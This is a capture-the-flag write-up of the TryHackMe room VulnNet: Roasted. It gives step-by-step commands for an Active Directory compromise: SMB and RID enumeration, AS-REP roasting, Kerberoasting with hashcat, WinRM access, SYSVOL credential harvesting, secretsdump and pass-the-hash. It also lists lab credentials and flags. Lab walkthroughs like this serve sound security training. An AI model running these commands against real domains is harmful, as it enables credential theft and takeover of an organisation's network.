5 minute read

THM VulnNet: Roasted

Difficulty: EASY
OS: Windows Server 2019
Platform: TryHackMe
Category: Active Directory


##NOTE: AT SOME POINT IN TIME THE MACHINE STOPPED SO I HAD TO RESET AND GOT A NEW IP ADDR.

Overview

VulnNet: Roasted — the name is basically a roadmap. Two Kerberos attacks, a credential hidden in plain sight inside SYSVOL, and a pass-the-hash to finish it off. Great room for practising the AD attack fundamentals in order.

The full chain: anonymous SMB shares → employee names → RID brute force → real usernames → AS-REP Roast → Kerberoast → WinRM shell → SYSVOL snooping → hardcoded creds → secretsdump → domain admin.

Enumeration

Nmap

nmap -sV -sS -T4 -A -Pn 10.81.139.27
PORT     STATE SERVICE           VERSION
53/tcp   open  domain
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl
3268/tcp open  ldap
3269/tcp open  globalcatLDAPssl
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0

Standard AD port layout — Kerberos (88), LDAP (389), SMB (445). One thing that stood out immediately: port 5985 (WinRM) is open. Mental note filed for later.

OS is Windows Server 2019, domain is vulnnet-rst.local.


SMB Enumeration

nxc smb 10.81.139.27
SMB  10.81.139.27  445  WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019
     Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local)
     (signing:True) (SMBv1:None) (Null Auth:True)

Null Auth: True — let’s see what we can reach anonymously.

nxc smb 10.81.139.27 -u 'anonymous' -p '' --shares
Share                        Permissions
-----                        -----------
ADMIN$                       
C$                           
IPC$                         READ
NETLOGON                     
SYSVOL                       
VulnNet-Business-Anonymous   READ
VulnNet-Enterprise-Anonymous READ

Two non-standard shares with anonymous READ..our first clue.


Enumerating the Anonymous Shares

smbclient //10.81.139.27/VulnNet-Business-Anonymous -N
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Downloaded three txt files. Reading through them:

Business-Manager.txt:

Alexa Whitehat is our core business manager…

Business-Sections.txt:

Jack Goldenhand is the person you should reach to for any business…

smbclient //10.81.139.27/VulnNet-Enterprise-Anonymous -N
smb: \> mget *

Enterprise-Safety.txt:

Tony Skid is a core security manager and takes care of internal infrastructure…

Enterprise-Sync.txt:

Johnny Leet keeps the whole infrastructure up to date…

Four names extracted:

Alexa Whitehat
Jack Goldenhand
Tony Skid
Johnny Leet

Now we need the actual AD usernames..i almost wanted to try using a tool called username-anarchy…works pretty much like OneRuleToThemAll and would mutate the usernames into different possibilities and try it. But we already have the guest account so no need.


RID Brute Force

We have anonymous/guest access. Why guess username formats when we can just ask the domain directly?

nxc smb 10.81.139.27 -u 'guest' -p '' --rid-brute 5000
1104: VULNNET-RST\enterprise-core-vn  (SidTypeUser)
1105: VULNNET-RST\a-whitehat          (SidTypeUser)
1109: VULNNET-RST\t-skid              (SidTypeUser)
1110: VULNNET-RST\j-goldenhand        (SidTypeUser)
1111: VULNNET-RST\j-leet              (SidTypeUser)

Real username format: first initial + hyphen + lastname.


Initial Access

AS-REP Roasting

The room is called Roasted

AS-REP Roasting targets accounts with Kerberos pre-authentication disabled. When pre-auth is off, the KDC hands out an encrypted ticket without first verifying the password then we grab that ticket and crack it offline.

cat > users.txt << 'EOF'
a-whitehat
t-skid
j-goldenhand
j-leet
enterprise-core-vn
administrator
EOF

impacket-GetNPUsers vulnnet-rst.local/ -usersfile users.txt -dc-ip 10.81.139.27 -no-pass 
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:a0fd51f1b68ab702b4fd5f0545a7c6f1$...
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

One account vulnerable: t-skid. Hash saved, time to crack.

hashcat -m 18200 skid usr/share/wordlists/rockyou.txt 
$krb5asrep$23$t-skid...[hash]...:tj072889*

Credentials: t-skid:tj072889*

Verified:

nxc smb 10.81.139.27 -u 't-skid' -p 'tj072889*'
# [+] vulnnet-rst.local\t-skid:tj072889*

Kerberoasting

With valid domain creds in our possession, time to enumerate service accounts with SPNs.

impacket-GetUserSPNs vulnnet-rst.local/t-skid:'tj072889*' -dc-ip 10.81.139.27 -request
ServicePrincipalName    Name                MemberOf
----------------------  ------------------  ----------------------------------------
CIFS/vulnnet-rst.local  enterprise-core-vn  CN=Remote Management Users,CN=Builtin,...

$krb5tgs$23$*enterprise-core-vn$VULNNET-RST.LOCAL$vulnnet-rst.local/enterprise-core-vn*$...

Two things we got:

  1. enterprise-core-vn is Kerberoastable
  2. It’s a member of Remote Management Users — WinRM access incoming
hashcat -m 13100 enterprise.hash /usr/share/wordlists/rockyou.txt 
$krb5tgs$23$*enterprise-core-vn...[hash]...:ry=ibfkfv,s6h,

Credentials: enterprise-core-vn:ry=ibfkfv,s6h,


WinRM Shell

nxc winrm 10.81.139.27 -u 'enterprise-core-vn' -p 'ry=ibfkfv,s6h,'

# [+] vulnnet-rst.local\enterprise-core-vn:ry=ibfkfv,s6h, (Pwn3d!)

evil-winrm -i 10.81.139.27 -u 'enterprise-core-vn' -p 'ry=ibfkfv,s6h,'

We’re in.

*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> type user.txt
THM{726b7c0baaac1455d05c827b5561f4ed}

User Flag: THM{726b7c0baaac1455d05c827b5561f4ed}


Privilege Escalation

SYSVOL Enumeration — The Hidden Secret

enterprise-core-vn has low privileges: no admin access, no DCSync rights. If those are blocked you look elsewhere.

SYSVOL is accessible to all authenticated domain users. Admins sometimes store scripts there for automated tasks. Sometimes those scripts contain hardcoded credentials. Let’s check.

smbclient //10.81.174.210/SYSVOL -U 'enterprise-core-vn%ry=ibfkfv,s6h,' -W VULNNET-RST

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

One file caught the eye immediately:

vulnnet-rst.local/scripts/ResetPassword.vbs

A password reset script sitting in SYSVOL. Something that shouldn’t be there. Can you guess what’s inside? 😄

ResetPassword.vbs credentials

Plain text credentials for a-whitehat sitting in a file readable by every domain user on the network.

Every sysadmin’s nightmare.


Verifying a-whitehat

nxc winrm 10.81.174.210 -u 'a-whitehat' -p 'bNdKVkjv3RR9ht'
WINRM  10.81.174.210  5985  WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)

a-whitehat Pwn3d (Pwn3d!) — domain admin level access.

Secretsdump

impacket-secretsdump vulnnet-rst.local/a-whitehat:'bNdKVkjv3RR9ht'@10.81.174.210

Domain hash dump

Full domain hash dump. Administrator NTLM: c2597747aa5e43022a3a3049a3c3b09d


Pass-the-Hash → Root

evil-winrm -i 10.81.174.210 -u 'Administrator' -H 'c2597747aa5e43022a3a3049a3c3b09d'

Root flag

Root Flag: THM{16f45e3934293a57645f8d7bf71d8d4c}

Domain pwned.


Credentials Summary

Account Credential Method
t-skid tj072889* AS-REP Roast + hashcat
enterprise-core-vn ry=ibfkfv,s6h, Kerberoast + hashcat
a-whitehat bNdKVkjv3RR9ht ResetPassword.vbs in SYSVOL
Administrator c2597747aa5e43022a3a3049a3c3b09d (NTLM) secretsdump

What did we Learn?

1. Anonymous shares leak employee info The txt files in VulnNet-Business-Anonymous and VulnNet-Enterprise-Anonymous gave us real names. Names → username generation → attack surface. Always enumerate non-standard shares thoroughly.

2. RID brute beats username guessing We could have spent hours guessing formats — t.skid, tony.skid, tskid. Instead, one command against the domain gave us the exact usernames as they exist in AD. Use RID brute first, always.

3. AS-REP Roasting needs no credentials This is why pre-authentication should never be disabled unless absolutely necessary. One vulnerable account in the list was enough for a foothold.

4. Kerberoasting with valid creds is devastating Once we had t-skid’s password, service accounts with SPNs became immediately targetable. enterprise-core-vn being in Remote Management Users made it a perfect pivot point.

5. SYSVOL is readable by all authenticated users Scripts stored in SYSVOL are accessible to every domain account. Hardcoded credentials in those scripts = every user in the domain can potentially read admin passwords. Classic misconfiguration.

*Written by 0x5h4q 0x5h4q.github.io*